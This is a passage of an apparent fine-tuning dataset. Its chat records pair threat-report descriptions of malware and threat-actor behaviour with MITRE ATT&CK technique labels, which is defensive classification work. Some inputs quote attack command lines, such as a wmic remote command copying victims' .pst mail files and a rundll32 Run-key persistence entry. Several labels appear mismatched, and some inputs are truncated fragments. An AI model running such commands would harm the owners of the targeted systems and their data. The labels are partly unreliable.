                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The maldocs used in this campaign typically contain a malicious VBA macro that downloads and activates the next stage of the infection chain. Although the VBA macro contains an auto open subroutine, it uses several VBA functions registered to trigger if the \"Typing replaces selection\" property is enabled in Microsoft Word. Appdata%\\desktop.iniThe next stage of the VBS is run using wscript.exe using a command such as:%windir%\\System32\\wscript.exe //e:vbscript //b &lt;path_to_Stage_2&gt;Macros dropping VBS to disk and running via wscript.exe"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the persistence operation finishes, the loader deletes itself by writing a batch file in the Windows temporary folder with the file name prefix ‘tmp’ followed by random digits. The batch file content"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used pass the hash for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "H1N1 kills and disables services by using cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If running as administrator,  installs itself as a new service named bmwappushservice to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The wormDll32 module attempts to identify servers and domain controllers in the network using NetServerEnum and LDAP queries."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT has been install via template injection through a malicious DLL embedded within a template RTF in a Word document."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can drop a mouse-logger that will take small screenshots around at each click and then send back to the server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "2) The additional commands and execution objects are executed in the machine that has been compromised in the isolated network"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed has the ability to use multiple dynamically resolved API calls."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In green, functions from Keychaindump C&C communication Keydnap is using the onion.to Tor2Web proxy over HTTPS to report back to its C&C server"
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using spear-phishing emails that contained malicious Amazon-themed documents, the group targeted an employee of an aerospace company in the Netherlands and a political journalist in Belgium."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GOLD SOUTHFIELD has used publicly-accessible RDP and remote management and monitoring (RMM) servers to gain access to victim machines."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In multiple instances, the threat actors created new accounts on the staging targets to perform cleanup operations. The accounts created were used to clear the following Windows event logs: System, Security, Terminal Services, Remote Services, and Audit. The threat actors also removed applications they installed while they were in the network along with any logs produced. For example, the Fortinet client installed at one commercial facility was deleted along with the logs that were produced from its use. Finally, data generated by other accounts used on the systems accessed were deleted"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Denis has used DNS tunneling for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has used open-source C2 frameworks, including Covenant."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Prikormka creates a directory, \"%USERPROFILE%\\AppData\\Local\\SKC\\\", which is used to store collected log files."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has leveraged vulnerabilities in Pulse Secure VPNs to hijack sessions."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 5: Registry Activity The script then determines the version of Powershell that is being used on the infected system. This is essentially the WMI equivalent of a registry-based run key from a persistence perspective. The Stage 3 malware is by default set to run 'onidle' after 30 minutes"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sharpshooter has sent malicious attachments via emails to targets."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has gathered detailed knowledge of team structures within a target organization."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot can disable Windows Defender."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FoggyWeb's loader has used DLL Search Order Hijacking to load malicious code instead of the legitimate `version.dll` during the `Microsoft.IdentityServer.ServiceHost.exe` execution process."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Imminent Monitor has a CommandPromptPacket and ScriptPacket module(s) for creating a remote shell and executing scripts."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore has used the \"ps\" command to list processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has created services on remote systems for execution purposes."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed has exfiltrated files using web services."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While performing the analysis on the delivery documents using the .sct file AppLocker bypass, we noticed the C# payload was functionally similar to the original RogueRobin payload"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThiefQuest invokes \"time\" call to check the system's time, executes a \"sleep\" command, invokes a second \"time\" call, and then compares the time difference between the two \"time\" calls and the amount of time the system slept to identify the sandbox."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT has added a Registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER may collect user account information by running \"net user /domain\" or a series of other commands on a victim."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can use modules like \"Invoke-SessionGopher\" to extract private key and session information."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN5 has has used the tool GET2 Penetrator to look for remote login and hard-coded credentials."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 actors obtain legitimate credentials using a variety of methods and use them to further lateral movement on victim networks."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT enumerates the victim operating system and computer name during the initial infection."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It is unknown what these domains may have been used for but based on the similarity of domain spoofing and sharing an IP, they are likely part of the adversary infrastructure"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grants system privileges via Windows services - Uses DLL sideloading technique to evade security solutions - Starts and injects code to a new svchost process to prevent tracking"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service', 'T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception has used PowerShell to execute malicious commands and payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A second method consists to use the CredEnumerateW Windows API. Finally, Perfc.dat contains three embedded executables in its resource section which are compressed with zlib. Two of the executables are used to recover user credentials (32 and 64 bits) while the third one is the PsExec binary"
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tarrask may abuse the Windows schtasks command-line tool to create \"hidden\" scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IceApple can encrypt and compress files using Gzip prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript, which allows the cybercriminals to understand the context of the infected workstation. This module mainly relies on WMI and Windows objects to deliver results, which will be sent back to the operators"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery', 'T1082 - System Information Discovery', 'T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 collected MAC addresses from victim machines."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM has used Google Drive and Dropbox to host files downloaded by victims via malicious links."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Andariel has used watering hole attacks, often with zero-day exploits, to gain initial access to victims within a specific IP range."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The downloader collects basic system information and sends it via an HTTP POST request to a hardcoded command and control (C&amp;C) server (Figure 10"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses rundll32.exe to execute as part of the Registry Run key it adds: HKEY_CURRENT_USER \\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\”vert” = “rundll32.exe c:\\windows\\temp\\pvcu.dll , Qszdez”."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti can delete Windows Volume Shadow Copies using \"vssadmin\"."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of uploading and downloading files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackMatter uses NtQuerySystemInformation to enumerate running processes"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium has the ability to perform timestomping of files on targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak actors used legitimate credentials of banking employees to perform operations that sent them millions of dollars."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OceanSalt can delete files from the system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Orz versions have an embedded DLL known as MockDll that uses process hollowing and Regsvr32 to execute another payload."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The instance of Warzone we trapped has the ability to bypass UAC on the latest version of Windows 10. In this blog we’re going to talk about the XLS used as the attack vector and the UAC bypass technique used"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has harvested data from victim's e-mail including through execution of \"wmic /node:<ip> process call create \"cmd /c copy c:\\Users\\<username>\\<path>\\backup.pst c:\\windows\\temp\\backup.pst\" copy \"i:\\<path>\\<username>\\My Documents\\<filename>.pst\"\ncopy\"."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RATANKBA uses cmd.exe to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs data exfiltration is accomplished through the following command-line command: from <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork encrypted the collected files' path with AES and then encoded them with base64."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used valid, compromised email accounts for defense evasion, including to send malicious emails to other victim organizations."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RedLeaves is capable of downloading a file from a specified URL."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Doki has used a script that gathers information from a hardcoded list of IP addresses and uploads to an Ngrok URL."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba can enumerate processes running on a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "injects a malicious DLL into the IExplorer.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can enumerate the victim's desktop."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DNS Monitoring Bypass The malware modifies the system DNS resolvers and uses Google’s public DNS servers to avoid being detected by DNS monitoring tools"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used a scheduled task to execute a malicious file."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can record audio using any existing hardware recording devices."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has used \"msiexec\" to download and execute malicious Windows Installer files."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has stolen domain credentials by dumping LSASS process memory with comsvcs.dll and from a Microsoft Active Directory Domain Controller using Mimikatz."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk has called \"GetIpNetTable\" in attempt to identify all mounted drives and hosts that have Address Resolution Protocol (ARP) entries."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkComet can access the victim’s webcam to take pictures."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers can therefore give a malicious DLL the same name as a legitimate DLL but place it ahead of the legitimate version in the search order so that it will be loaded when Windows searches for it."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "stores the encoded configuration file in the Registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentContorlSet\\Control\\WMI\\Security."
            },
            {
